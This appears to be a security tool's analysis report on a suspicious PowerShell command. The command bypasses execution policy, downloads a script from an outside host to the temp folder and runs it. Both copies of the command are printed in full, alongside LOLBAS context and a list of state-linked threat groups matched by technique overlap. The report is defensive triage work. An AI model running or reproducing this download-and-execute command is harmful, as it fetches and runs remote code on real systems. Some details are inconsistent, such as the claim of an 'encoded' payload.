Notable — review recommended
Medium-confidence signals: Defense Evasion.
"C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -ExecutionPolicy Bypass "iwr wigglepoploaderfast.com/IXsWwgWiU6AITLaMmo -OutFile $env:temp\update.ps1 -UseBasicParsing;& $env:temp\update.ps1"
Uses PowerShell.
The command leverages Powershell.exe and Update.exe, a Windows set of binaries catalogued in LOLBAS as commonly abused for living-off-the-land attacks — known abuse categories: AWL Bypass, Download, and Execute. The payload uses unknown encoding — a common obfuscation technique to bypass signature-based detection and inline script-block logging.
LOLBin usage combined with encoded payload is a classic living-off-the-land pattern designed to evade AV and EDR detection. The full decoded payload should be analyzed for C2 infrastructure, dropped files, or persistence mechanisms.
"C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -ExecutionPolicy Bypass "iwr wigglepoploaderfast.com/IXsWwgWiU6AITLaMmo -OutFile C:\Windows\Tempupdate.ps1 -UseBasicParsing;& C:\Windows\Tempupdate.ps1"
Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.
Russian GRU Unit 26165 threat group active since at least 2004. Primarily targets governments, militaries, and security organizations.
Russian SVR threat group responsible for the SolarWinds supply chain attack and numerous government breaches. Known for stealthy, long-dwell intrusions.
Russian GRU Unit 74455 group responsible for NotPetya, attacks on Ukrainian power grid, and Olympic Destroyer. Focuses on destructive operations.
Russian FSB-linked group known for sophisticated backdoors and hijacking other threat actors' infrastructure. Active since at least 2004.
North Korean state-sponsored group linked to the $81M Bangladesh Bank heist, WannaCry ransomware, and Sony Pictures breach. The most prolific nation-state financial threat actor.
Attribution based on MITRE ATT&CK technique overlap. Confidence reflects TTP match depth — not a definitive attribution.